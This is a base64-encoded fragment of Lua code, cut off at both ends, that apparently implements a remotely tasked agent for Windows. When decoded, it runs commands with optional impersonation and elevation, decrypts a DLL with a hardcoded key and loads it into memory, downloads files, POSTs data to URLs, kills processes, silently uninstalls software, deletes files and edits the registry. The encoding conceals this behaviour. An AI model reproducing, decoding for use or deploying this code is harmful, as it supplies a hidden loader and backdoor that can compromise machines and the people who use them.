LCIlJXMiKTsKZT1zdHJpbmcuZm9ybWF0KGUsc1RtcFBhdGg6Z3N1YigiXFwiLCJcXFxcIikpOwpl
PWU6Z3N1YigiXFxcXFxcIiwiXFwiKTsKZWxzZWlmIHN0cmluZy5maW5kKGEsIiRTSUQiKXRoZW4K
bG9jYWwgdD1HZXRDdXJyZW50VXNlclNpZCgpOwplPXN0cmluZy5nc3ViKGUsIiUkU0lEIiwiJSVz
Iik7CmU9c3RyaW5nLmZvcm1hdChlLHQpOwplbHNlaWYgc3RyaW5nLmZpbmQoYSwiJFRJTUVMQVNU
Iil0aGVuCmlmIEdldFRpbWVMYXN0fj1uaWwgdGhlbgpsb2NhbCB0PUdldFRpbWVMYXN0KCk7CmU9
c3RyaW5nLmdzdWIoZSwiJSRUSU1FTEFTVCIsIiUlcyIpOwplPXN0cmluZy5mb3JtYXQoZSx0KTsK
ZW5kCmVsc2VpZiBzdHJpbmcuZmluZChhLCIkQ01EIil0aGVuCmxvY2FsIGE9c3RyaW5nLm1hdGNo
KGEsIkNNRCglZCspIik7CmlmIGF+PW5pbCB0aGVuCmxvY2FsIG49IiI7CmlmIHN0cmluZy5maW5k
KGEsIjoiKXRoZW4KbG9jYWwgYT10LnNwbGl0KGEsIjoiKTsKaWYgYVsxXX49bmlsIHRoZW4KbG9j
YWwgZT10LnNwbGl0KGlbYVsxXV0sIiAiKTsKbG9jYWwgbyxpPXN0cmluZy5maW5kKGFbMl0sIisi
KTsKaWYgbyB0aGVuCmFbMl09c3RyaW5nLmdzdWIoYVsyXSwiKyIsIiIpOwppZiB0eXBlKGUpPT0i
dGFibGUidGhlbgpmb3Igbz10YWJsZS5nZXRuKGUpLDEsLTEgZG8KaWYgbzx0b251bWJlcihhWzJd
KXRoZW4KdGFibGUucmVtb3ZlKGUsbyk7CmVsc2UKaWYgc3RyaW5nLmZpbmQoZVtvXSwiPSIpdGhl
bgpsb2NhbCB0PXQuc3BsaXQoZVtvXSwiPSIpOwplW29dPXN0cmluZy5mb3JtYXQoJyVzPSIlcyIn
LHRbMV0sdFsyXSk7CmVuZAplbmQKZW5kCm49dGFibGUuY29uY2F0KGUsIiAiKTsKZW5kCmVsc2UK
bj1lW3RvbnVtYmVyKGFbMl0pXTsKZW5kCmVuZAplbHNlCm49KGlbdG9udW1iZXIoYSldKWFuZCBp
W3RvbnVtYmVyKGEpXW9yIGlbYV07CmVuZAphPXN0cmluZy5nc3ViKGEsIisiLCIlJSsiKTsKZT1z
dHJpbmcuZ3N1YihlLCIlJENNRCIuLmEsIiUlcyIpOwplPXN0cmluZy5mb3JtYXQoZSxuKTsKZW5k
CmVsc2VpZiBzdHJpbmcuZmluZChhLCIkU09VUkNFR1VJRCIpdGhlbgpsb2NhbCB0PUNoZWNrQXJn
KCJzb3VyY2UiKTsKZT1zdHJpbmcuZ3N1YihlLCIlJFNPVVJDRUdVSUQiLHQpOwplbHNlaWYgc3Ry
aW5nLmZpbmQoYSwiJFVTRVJHVUlEIil0aGVuCmxvY2FsIHQ9R2V0VXNlckd1aWQoKTsKc1VzZXJH
dWlkPXN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVzLSVzIix0OnN1YigxLDgpLHQ6c3ViKDksMTIp
LHQ6c3ViKDEzLDE2KSx0OnN1YigxNywyMCksdDpzdWIoMjEpKTsKc1VzZXJHdWlkPXN0cmluZy51
cHBlcihzVXNlckd1aWQpOwplPXN0cmluZy5nc3ViKGUsIiUkVVNFUkdVSUQiLHNVc2VyR3VpZCk7
CmVsc2VpZiBzdHJpbmcuZmluZChhLCIkVkVSU0lPTiIpdGhlbgppZiBHZXRWZXJzaW9ufj1uaWwg
dGhlbgpsb2NhbCB0PXRvc3RyaW5nKEdldFZlcnNpb24oKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRW
RVJTSU9OIiwiJSVzIik7CmU9c3RyaW5nLmZvcm1hdChlLHQpOwplbmQKZWxzZWlmIHN0cmluZy5m
aW5kKGEsIiRPUFRJT05TIil0aGVuCmxvY2FsIG89KENoZWNrQXJnKWFuZCBDaGVja0FyZygib3B0
aW9ucyIpb3IiIjsKbG9jYWwgYT1zdHJpbmcubWF0Y2goYSwiT1BUSU9OUyglZCspIik7CmlmIGF+
PW5pbCB0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRWxlbWVudDogJXMiLGEpKTsKZT1zdHJp
bmcuZ3N1YihlLCIlJE9QVElPTlMiLi5hLCIlJXMiKTsKZT1zdHJpbmcuZm9ybWF0KGUsbzpzdWIo
YSxhKSk7CmVsc2UKZT1zdHJpbmcuZ3N1YihlLCIlJE9QVElPTlMiLCIlJXMiKTsKZT1zdHJpbmcu
Zm9ybWF0KGUsbyk7CmVuZAplbHNlaWYgc3RyaW5nLmZpbmQoYSwiJFBST0RVQ1QiKXRoZW4KbG9j
YWwgdD0oQ2hlY2tBcmcpYW5kIENoZWNrQXJnKCJvcHRpb25zIilvciIiOwpsb2NhbCB0PXN0cmlu
Zy5mb3JtYXQoIiVzIix0OnN1Yig4LDEwKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRQUk9EVUNUIix0
KTsKZWxzZWlmIHN0cmluZy5maW5kKGEsIiRJczY0Qml0Iil0aGVuCmxvY2FsIGE9KElzNjRCaXQo
KT09dHJ1ZSlhbmQiNjQib3IiMzIiOwp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIklzNjRCaXQ6ICVz
IixhKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRJczY0Qml0IixhKTsKdC5kZWJ1ZyhlKTsKZWxzZWlm
IHN0cmluZy5maW5kKGEsIiRSQU5EIil0aGVuCmxvY2FsIGE9c3RyaW5nLm1hdGNoKGEsIlJBTkQo
LispIik7Cm1hdGgucmFuZG9tc2VlZChvcy50aW1lKCkpOwplPXRvc3RyaW5nKG1hdGgucmFuZG9t
KDEsMTAwKSk7CmlmIGF+PW5pbCB0aGVuCmlmIHN0cmluZy5maW5kKGEsIiwiKXRoZW4KbG9jYWwg
dD10LnNwbGl0KGEsIiwiKTsKaWYgdFsxXX49bmlsIHRoZW4KaWYgdG9udW1iZXIodFsxXSk+dG9u
dW1iZXIodFsyXSl0aGVuCnRbMV09MQplbmQKZT10b3N0cmluZyhtYXRoLnJhbmRvbSh0b251bWJl
cih0WzFdKSx0b251bWJlcih0WzJdKSkpOwplbmQKZW5kCmVuZAp0LmRlYnVnKHN0cmluZy5mb3Jt
YXQoIlJhbmRvbTogJXMiLGUpKTsKZWxzZQpzPWZhbHNlOwplbmQKYT1lOwplbmQKZT0odHJpbSlh
bmQgdHJpbShlKW9yIHQudHJpbShlKTsKcmV0dXJuIGU7CmVuZApmdW5jdGlvbiB0LmNvbW1hbmQo
ZSkKbG9jYWwgbz1mYWxzZTsKaWYgZVsidHh0Y21kIl09PSJJZiJ0aGVuCmxvY2FsIGE9dC5jdXN0
b21zKGVbInR4dFdoYXQiXSk7CmlmIGVbInR4dGRvIl09PSJGaWxlInRoZW4KZHdSZXN1bHQsdEZp
bGVJbmZvPUZpbmRGaXJzdEZpbGUoYSk7CmlmIGR3UmVzdWx0fj0wIHRoZW4KZVsicmVzdWx0Il09
KGVbInR4dFdoYXRJZiJdPT0iRXhpc3RzIilhbmQiMSJvciIwIjsKZWxzZQplWyJyZXN1bHQiXT0o
ZVsidHh0V2hhdElmIl09PSJOb3QgRXhpc3RzIilhbmQiMSJvciIwIjsKZW5kCmlmIGR3UmVzdWx0
PjAgdGhlbgpGaW5kQ2xvc2UoZHdSZXN1bHQpOwplbmQKZWxzZWlmIGVbInR4dGRvIl09PSJSZWdp
c3RyeSJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiUmVnaXN0cnk6ICVzIixhKSk7CmxvY2Fs
IG89dC5zcGxpdChhLCIsIik7CmlmIHczMltvWzFdXX49bmlsIHRoZW4KaWYgb1szXX49bmlsIHRo
ZW4KbG9jYWwgYT1SZWdRdWVyeVZhbHVlRXgodzMyW29bMV1dLG9bMl0sb1szXSk7CmE9KGF+PW5p
bClhbmQgdC5jdXN0b21zKGEpb3IgbmlsOwppZiBlWyJ0eHRXaGF0SWYiXT09IkVxdWFscyJhbmQg
b1s1XX49bmlsIGFuZCBhfj1uaWwgdGhlbgppZiBhPT1vWzVddGhlbgplWyJyZXN1bHQiXT0iMSI7
CmVuZAplbHNlaWYgZVsidHh0V2hhdElmIl09PSJFeGlzdHMiYW5kIGF+PW5pbCB0aGVuCmVbInJl
c3VsdCJdPSIxIjsKZWxzZWlmIGVbInR4dFdoYXRJZiJdPT0iTm90IEV4aXN0cyJhbmQgYT09bmls
IHRoZW4KZVsicmVzdWx0Il09IjEiOwplbmQKZW5kCmVsc2UKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0
KCJSZWdpc3RyeSBFcnJvciAlcyAlcyIsZVsidHh0V2hhdElmIl0sYSkpOwplbmQKZWxzZWlmIGVb
InR4dGRvIl09PSJDb21tYW5kInRoZW4KbG9jYWwgYT10LnNwbGl0KGEsIiwiKTsKaWYgYVsyXX49
bmlsIHRoZW4KbG9jYWwgbz0oaVt0b251bWJlcihhWzFdKV0pYW5kIGlbdG9udW1iZXIoYVsxXSld
b3IgaVthWzFdXTsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJDb21tYW5kICMlczogJXMgJXMgJXMi
LGFbMV0sbyxlWyJ0eHRXaGF0SWYiXSxhWzJdKSk7CmlmIGVbInR4dFdoYXRJZiJdPT0iQ29udGFp
bnMidGhlbgppZiBzdHJpbmcuZmluZChzdHJpbmcudXBwZXIobyksc3RyaW5nLnVwcGVyKGFbMl0p
KXRoZW4KZVsicmVzdWx0Il09IjEiOwplbHNlCmVbInJlc3VsdCJdPSIwIjsKZW5kCmVsc2UKaWYg
bz09YVsyXXRoZW4KZVsicmVzdWx0Il09KGVbInR4dFdoYXRJZiJdPT0iRXF1YWxzIilhbmQiMSJv
ciIwIjsKZWxzZQplWyJyZXN1bHQiXT0oZVsidHh0V2hhdElmIl09PSJOb3QgRXF1YWxzIilhbmQi
MSJvciIwIjsKZW5kCmVuZAplbHNlCmVbInJlc3VsdCJdPSIwIjsKZW5kCmVsc2VpZiBlWyJ0eHRk
byJdPT0iVmFyaWFibGUidGhlbgpsb2NhbCBhPXQuc3BsaXQoYSwiLCIpOwplWyJyZXN1bHQiXT0i
MCI7CmlmIGFbMl1+PW5pbCB0aGVuCnNTRz0oQ2hlY2tBcmcpYW5kIENoZWNrQXJnKCJzb3VyY2Ui
KW9yIiI7CmlmIGFbMV09PSJVc2VyIEdVSUQidGhlbgpzU0c9R2V0VXNlckd1aWQoKTsKc1NHPXN0
cmluZy51cHBlcihzdHJpbmcuZm9ybWF0KCIlcy0lcy0lcy0lcy0lcyIsc1NHOnN1YigxLDgpLHNT
RzpzdWIoOSwxMiksc1NHOnN1YigxMywxNiksc1NHOnN1YigxNywyMCksc1NHOnN1YigyMSkpKTsK
ZWxzZWlmIGFbMV09PSJWZXJzaW9uInRoZW4KaWYgR2V0VmVyc2lvbn49bmlsIHRoZW4Kc1NHPXRv
c3RyaW5nKEdldFZlcnNpb24oKSk7CmVuZAplbHNlaWYgYVsxXT09IklzNjRCaXQidGhlbgppZiBJ
czY0Qml0fj1uaWwgdGhlbgpzU0c9dG9zdHJpbmcoSXM2NEJpdCgpKTsKZW5kCmVsc2VpZiBzdHJp
bmcuZmluZChhWzFdLCJPcHRpb25zIil0aGVuCnNTRz10LmN1c3RvbXMoIiQiLi5zdHJpbmcudXBw
ZXIoYVsxXSkpOwplbmQKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJWYXJpYWJsZSAlcyAoJXMpID0g
JXMiLGFbMV0sc1NHLGFbMl0pKTsKaWYgZVsidHh0V2hhdElmIl09PSJDb250YWlucyJ0aGVuCmlm
IHN0cmluZy5maW5kKHNTRyxhWzJdKXRoZW4KZVsicmVzdWx0Il09IjEiOwplbmQKZWxzZQppZiBz
U0c9PWFbMl10aGVuCmVbInJlc3VsdCJdPShlWyJ0eHRXaGF0SWYiXT09IkVxdWFscyIpYW5kIjEi
b3IiMCI7CmVsc2UKZVsicmVzdWx0Il09KGVbInR4dFdoYXRJZiJdPT0iTm90IEVxdWFscyIpYW5k
IjEib3IiMCI7CmVuZAplbmQKZW5kCmVsc2VpZiBlWyJ0eHRkbyJdPT0iUHJvY2VzcyJ0aGVuCmlm
IElzUHJvY2Vzc1J1bm5pbmcoYSxmYWxzZSl0aGVuCmVbInJlc3VsdCJdPSIxIjsKZWxzZQplWyJy
ZXN1bHQiXT0iMCI7CmVuZAplbHNlaWYgZVsidHh0ZG8iXT09Ikluc3RhbGxlZCJ0aGVuCmxvY2Fs
IHQ9e307CnRbMV09IlNPRlRXQVJFXFxXb3c2NDMyTm9kZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxD
dXJyZW50VmVyc2lvblxcVW5pbnN0YWxsIjsKdFsyXT0iU09GVFdBUkVcXE1pY3Jvc29mdFxcV2lu
ZG93c1xcQ3VycmVudFZlcnNpb25cXFVuaW5zdGFsbCI7CmVbInJlc3VsdCJdPSIwIjsKZVsic3Rh
dHVzIl09IjAiOwpmb3Igbyx0IGluIHBhaXJzKHQpZG8KbG9jYWwgbz1SZWdFbnVtS2V5RXgodzMy
WyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSx0KTsKaWYgdHlwZShvKT09InRhYmxlInRoZW4KZm9yIGks
byBpbiBwYWlycyhvKWRvCmxvY2FsIGk9UmVnRW51bVZhbHVlKHczMlsiSEtFWV9MT0NBTF9NQUNI
SU5FIl0sdC4uIlxcIi4ubyk7CmlmIHR5cGUoaSk9PSJ0YWJsZSJ0aGVuCmZvciBuLGkgaW4gcGFp
cnMoaSlkbwppZiBpPT0iRGlzcGxheU5hbWUidGhlbgpsb2NhbCB0PVJlZ1F1ZXJ5VmFsdWVFeCh3
MzJbIkhLRVlfTE9DQUxfTUFDSElORSJdLHQuLiJcXCIuLm8saSk7CnQ9c3RyaW5nLmxvd2VyKHQ6
Z3N1YigiICIsIiIpKTsKYT1zdHJpbmcubG93ZXIoYTpnc3ViKCIgIiwiIikpOwppZiBzdHJpbmcu
ZmluZCh0LGEpdGhlbgplWyJyZXN1bHQiXT0iMSI7CmVbInN0YXR1cyJdPSIxIjsKYnJlYWs7CmVu
ZAplbmQKZW5kCmVuZAplbmQKZW5kCmVuZAplbmQKbz10cnVlOwppZiBlWyJyZXN1bHQiXT09IjEi
dGhlbgppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iU3RvcCJ0aGVuCnQuZGVidWcoIlRoZW4gU2F0aXNm
aWVkLCBTdG9wcGluZyIpOwplWyJzdGF0dXMiXT0iMCI7Cm89ZmFsc2U7CmVsc2VpZiBlWyJ0eHRX
aGF0VGhlbiJdPT0iR290byJ0aGVuCnQuZGVidWcoIlRoZW4gU2F0aXNmaWVkLCBHb2luZyB0byAi
KTsKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJDb250aW51ZSJ0aGVuCnQuZGVidWcoIlRoZW4g
U2F0aXNmaWVkLCBDb250aW51aW5nIik7CmVuZAplbHNlCmlmIGVbInR4dFdoYXRFbHNlIl09PSJT
dG9wInRoZW4KdC5kZWJ1ZygiRWxzZSBTYXRpc2ZpZWQsIFN0b3BwaW5nIik7CmVbInN0YXR1cyJd
PSIwIjsKbz1mYWxzZTsKZWxzZWlmIGVbInR4dFdoYXRFbHNlIl09PSJHb3RvInRoZW4KZVsic3Rh
dHVzIl09IjEiOwp0LmRlYnVnKCJFbHNlIFNhdGlzZmllZCwgR29pbmcgdG8gIik7CmVsc2VpZiBl
WyJ0eHRXaGF0RWxzZSJdPT0iQ29udGludWUidGhlbgplWyJzdGF0dXMiXT0iMSI7CnQuZGVidWco
IkVsc2UgU2F0aXNmaWVkLCBDb250aW51aW5nIik7CmVuZAplbmQKZW5kCmlmIGVbInR4dGNtZCJd
PT0iRG8idGhlbgpsb2NhbCBhPXQuY3VzdG9tcyhlWyJ0eHRXaGF0Il0pOwppZiBlWyJ0eHRkbyJd
PT0iRXhlY3V0ZSJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRXhlY3V0aW5nOiAlcyB3aXRo
ICVzIixhLGVbInR4dFdoYXRUaGVuIl0pKTsKaWYgZVsidHh0V2hhdFRoZW4iXT09IkxvY2FsIFN5
c3RlbSJ0aGVuCnQuZXhlY3V0ZShhKTsKZWxzZQppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iSW1wZXJz
b25hdGlvbiBhbmQgRWxldmF0aW9uInRoZW4KdC5leGVjdXRlKGEsdHJ1ZSx0cnVlKTsKZWxzZQp0
LmV4ZWN1dGUoYSx0cnVlLGZhbHNlKTsKZW5kCmVuZApvPXRydWU7CmVbInN0YXR1cyJdPSIxIjsK
ZVsiZGF0ZSJdPW9zLnRpbWUoKTsKZVsicmVzdWx0Il09IjEiOwplbHNlaWYgZVsidHh0ZG8iXT09
IkRMTCJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRExMIFNpemU6ICVzIHZpYSAlcyIsc3Ry
aW5nLmxlbihhKSxlWyJ0eHRXaGF0VGhlbiJdKSk7CmlmIGVbInR4dFdoYXRUaGVuIl09PSJNZW1v
cnkidGhlbgphPUVuY3J5cHQoYSwiYzIyZGY3MTQ2YjU0NGI1ZGFjYWNmYWJmMzdiZmQyNjRiZmIw
Zjg5NTNlMTQ0NDZhYmIwYjE5OGRmNDU0YzllYyIpOwpMb2FkRnJvbU1lbW9yeShhKTsKZW5kCm89
dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT0i
MSI7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iRmlsZSJ0aGVuCmlmIGVbInR4dFdoYXRUaGVuIl09PSJE
ZWxldGUidGhlbgppZiBEZWxldGVGaWxlKGEpdGhlbgplWyJyZXN1bHQiXT0iZmlsZSBkZWxldGVk
IjsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHN1Y2Nlc3NmdWxseSIsYSkpOwpl
bmQKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJSZWFkInRoZW4KY29udGVudHM9dC5yZWFkZmls
ZShhKTsKaWYgY29udGVudHMgdGhlbgppZiBlWyJ0eHRXaGF0RWxzZSJdPT0iYXMgUHJvY2Vzc2xp
c3QidGhlbgpsaW5lcz10LnNwbGl0KGNvbnRlbnRzLCJcclxuIik7CmRhdGE9e30KZm9yIG8sYSBp
biBpcGFpcnMobGluZXMpZG8KY3N2PXQuc3BsaXQoYSwiLCIpOwppZiBjc3ZbM110aGVuCmRhdGE9
c3RyaW5nLmZvcm1hdCgneyJuYW1lIjolcywidHlwZSI6JXN9Jyxjc3ZbMV0sY3N2WzNdKTsKZVsi
cmVzdWx0Il09KGVbInJlc3VsdCJdKWFuZCBlWyJyZXN1bHQiXS4uIiwiLi5kYXRhIG9yIGRhdGE7
CmVuZAplbmQKZW5kCmVuZAppZiBub3QgZVsicmVzdWx0Il10aGVuCmVbInJlc3VsdCJdPSJlcnJv
ciByZWFkaW5nIGZpbGUiCmVsc2UKZVsicmVzdWx0Il09IlsiLi5lWyJyZXN1bHQiXS4uIl0iOwpl
bmQKZW5kCm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNl
aWYgZVsidHh0ZG8iXT09IlRlcm1pbmF0ZSJ0aGVuCmlmIElzUHJvY2Vzc1J1bm5pbmcoYSx0cnVl
KXRoZW4KdC5kZWJ1ZygiVGVybWluYXRpbmc6ICIuLmEpOwplWyJyZXN1bHQiXT0iMSI7CmVsc2UK
dC5kZWJ1ZygiRmFpbGVkIHRvIFRlcm1pbmF0ZTogIi4uYSk7CmVbInJlc3VsdCJdPSIwIjsKZW5k
Cm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNlaWYgZVsi
dHh0ZG8iXT09IlVuaW5zdGFsbCJ0aGVuCmxvY2FsIG89e307Cm9bMV09IlNPRlRXQVJFXFxXb3c2
NDMyTm9kZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcVW5pbnN0YWxsIjsK
b1syXT0iU09GVFdBUkVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXFVuaW5z
dGFsbCI7CmVbInJlc3VsdCJdPSIwIjsKZm9yIG8saSBpbiBwYWlycyhvKWRvCmxvY2FsIG89UmVn
RW51bUtleUV4KHczMlsiSEtFWV9MT0NBTF9NQUNISU5FIl0saSk7CmlmIHR5cGUobyk9PSJ0YWJs
ZSJ0aGVuCmZvciBvLG4gaW4gcGFpcnMobylkbwpsb2NhbCBvPVJlZ0VudW1WYWx1ZSh3MzJbIkhL
RVlfTE9DQUxfTUFDSElORSJdLGkuLiJcXCIuLm4pOwppZiB0eXBlKG8pPT0idGFibGUidGhlbgpm
b3IgcyxvIGluIHBhaXJzKG8pZG8KaWYgbz09IkRpc3BsYXlOYW1lInRoZW4KbG9jYWwgbz1SZWdR
dWVyeVZhbHVlRXgodzMyWyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSxpLi4iXFwiLi5uLG8pOwppZiBz
dHJpbmcuZmluZChvLGEpdGhlbgpvPVJlZ1F1ZXJ5VmFsdWVFeCh3MzJbIkhLRVlfTE9DQUxfTUFD
SElORSJdLGkuLiJcXCIuLm4sIlVuaW5zdGFsbFN0cmluZyIpOwppZiBlWyJ0eHRXaGF0VGhlbiJd
fj1uaWwgdGhlbgpsb2NhbCBlPXN0cmluZy5mb3JtYXQoIiVzICVzIix0cmltKG8pLGVbInR4dFdo
YXRUaGVuIl0pOwpvPWU7CmVuZAp0LmRlYnVnKCJVbmluc3RhbGxpbmc6ICIuLm8pOwp0LmV4ZWN1
dGUobyx0cnVlKTsKZVsicmVzdWx0Il09IjEiOwpicmVhazsKZW5kCmVuZAplbmQKZW5kCmVuZApl
bmQKZW5kCmVbInN0YXR1cyJdPSIxIjsKZVsiZGF0ZSJdPW9zLnRpbWUoKTsKZWxzZWlmIGVbInR4
dGRvIl09PSJXYWl0InRoZW4KbG9jYWwgYT10b251bWJlcihhKTsKaWYgYT09bmlsIHRoZW4KYT0x
MDsKZW5kCmVbInR4dFdoYXQiXT1hOwplWyJyZXN1bHQiXT0oZVsicmVzdWx0Il09PW5pbCBvciBl
WyJyZXN1bHQiXT09IiIpYW5kIG9zLnRpbWUoKW9yIGVbInJlc3VsdCJdOwppZiBlWyJ0eHRXaGF0
VGhlbiJdPT0iTWludXRlcyJ0aGVuCmE9YSo2MDsKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJI
b3VycyJ0aGVuCmE9YSozNjAwOwplbHNlaWYgZVsidHh0V2hhdFRoZW4iXT09IkRheXMidGhlbgph
PWEqODY0MDA7CmVsc2UKaWYgYTwzMCB0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiV2FpdGlu
ZzogJXMiLGEpKTsKaWYgU2xlZXAgdGhlbgpTbGVlcCgoYSsxKSoxZTMpOwplbHNlCnQuc2xlZXAo
KGErMSkqMWUzKTsKZW5kCmVuZAplbmQKbG9jYWwgaT1vcy50aW1lKCktdG9udW1iZXIoZVsicmVz
dWx0Il0pOwppZiBpPmEgdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7
Cm89dHJ1ZTsKZWxzZQp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIldhaXRpbmcgJXMgd2l0aCAlcyBy
ZW1haW5pbmciLGEsKGEtaSkpKTsKZW5kCmVsc2VpZiBlWyJ0eHRkbyJdPT0iUGluZyJ0aGVuCmE9
YTpnc3ViKCIgIiwiKyIpOwppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iUE9TVCJ0aGVuCmxvY2FsIGU9
c3RyaW5nLmZpbmQoYSwiPyIpOwppZiBlIHRoZW4KbG9jYWwgbz1hOnN1YihlKzEsI2EpOwphPWE6
c3ViKDEsZS0xKTsKdC5kZWJ1ZygiUGluZ2luZyAiLi5hLi4iIHdpdGg6ICIuLm8pOwpuPXMucmVx
dWVzdChhLG8pOwplbmQKZWxzZQp0LmRlYnVnKCJQaW5naW5nOiAiLi5hKTsKbj1zLnJlcXVlc3Qo
YSk7CmVuZApuPXRyaW0odG9zdHJpbmcobikpOwp0LmRlYnVnKCJQaW5nIHJlc3VsdDogIi4ubik7
Cm89dHJ1ZTsKZVsicmVzdWx0Il09bjsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGlt
ZSgpOwplbHNlaWYgZVsidHh0ZG8iXT09IlNlcnZpY2UidGhlbgpsb2NhbCB0PXQucXVlcnlzZXJ2
aWNlKGEsNCk7CmVbInJlc3VsdCJdPSIiOwppZiB0IHRoZW4KZVsicmVzdWx0Il09dDsKZW5kCm89
dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNlaWYgZVsidHh0
ZG8iXT09IkRlYnVnInRoZW4KdC5kZWJ1ZyhhKTsKbz10cnVlOwplWyJzdGF0dXMiXT0iMCI7CmVb
ImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iRFhEaWFnInRoZW4KbG9jYWwg
YT10LmR4ZGlhZyhhLGVbInR4dFdoYXRUaGVuIl0pOwplWyJyZXN1bHQiXT0iIjsKaWYgYX49bmls
IHRoZW4KaWYgYVtzdHJpbmcubG93ZXIoZVsidHh0V2hhdEVsc2UiXSldfj1uaWwgdGhlbgplWyJy
ZXN1bHQiXT1hW3N0cmluZy5sb3dlcihlWyJ0eHRXaGF0RWxzZSJdKV07CnQuZGVidWcoc3RyaW5n
LmZvcm1hdCgiRFhEaWFnIFJlc3VsdDogJXMiLGVbInJlc3VsdCJdKSk7CmVuZAplbmQKbz10cnVl
OwplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJd
PT0iRG93bmxvYWQidGhlbgpsb2NhbCBpPXQuY3VzdG9tcyhlWyJ0eHRXaGF0VGhlbiJdKTsKaWYg
aX49IiJ0aGVuCmxvY2FsIG49dC5maWxlcGFydHMoaSk7CmlmIG5+PW5pbCB0aGVuCkNyZWF0ZURp
cmVjdG9yeShuKTsKZW5kCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgJXMgdG8gJXMi
LGEsaSkpOwplWyJzdGF0dXMiXT0iMSI7CmlmIHQuZ2V0YnlodHRwKGEsaSl0aGVuCnQuZGVidWco
c3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgc3VjY2Vzc2Z1bCIsYSkpOwpvPXRydWU7CmVb
ImRhdGUiXT1vcy50aW1lKCk7CmVbInJlc3VsdCJdPSIxIjsKZWxzZQplWyJyZXN1bHQiXT0iMCI7
CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgdW5zdWNjZXNzZnVsIixhKSk7
CmVuZAplbHNlCmxvY2FsIGksbj10LmdldGJ5aHR0cChhKTsKaWYgaSB0aGVuCnQuZGVidWcoc3Ry
aW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgdG8gbWVtb3J5IHN1Y2Nlc3NmdWwiLGEpKTsKbz10
cnVlOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uOwplWyJzdGF0dXMiXT0iMSI7
CmVuZAplbmQKZWxzZWlmIGVbInR4dGRvIl09PSJEaXJlY3RvcnkidGhlbgppZiBDcmVhdGVEaXJl
Y3RvcnkoYSl+PTAgdGhlbgplWyJyZXN1bHQiXT0iMCI7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgi
RGlyZWN0b3J5ICVzIGNyZWF0ZWQgc3VjY2Vzc2Z1bGx5IixhKSk7CmVsc2UKZVsicmVzdWx0Il09
R2V0TGFzdEVycm9yKCk7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRGlyZWN0b3J5ICVzIGNyZWF0
ZWQgdW5zdWNjZXNzZnVsbHkgKCVzKSIsYSxHZXRMYXN0RXJyb3IoKSkpOwplbmQKbz10cnVlOwpl
WyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0i
RGVsZXRlIEZpbGUidGhlbgp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIkF0dGVtcHRpbmcgdG8gZGVs
ZXRlICVzIixhKSk7CmlmIERlbGV0ZUZpbGUoYSl0aGVuCmVbInJlc3VsdCJdPSIxIjsKdC5kZWJ1
ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHN1Y2Nlc3NmdWxseSIsYSkpOwplbHNlCmVbInJl
c3VsdCJdPSIwIjsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHVuc3VjY2Vzc2Z1
bGx5IixhKSk7CmVuZApvPXRydWU7CmVbInN0YXR1cyJdPSIxIjsKZVsiZGF0ZSJdPW9zLnRpbWUo
KTsKZWxzZWlmIGVbInR4dGRvIl09PSJSZWdpc3RyeSJ0aGVuCmxvY2FsIGk9dC5zcGxpdChhLCIs
Iik7CmVbInJlc3VsdCJdPSIwIjsKaWYgdzMyW2lbMV1dfj1uaWwgdGhlbgppZiBlWyJ0eHRXaGF0
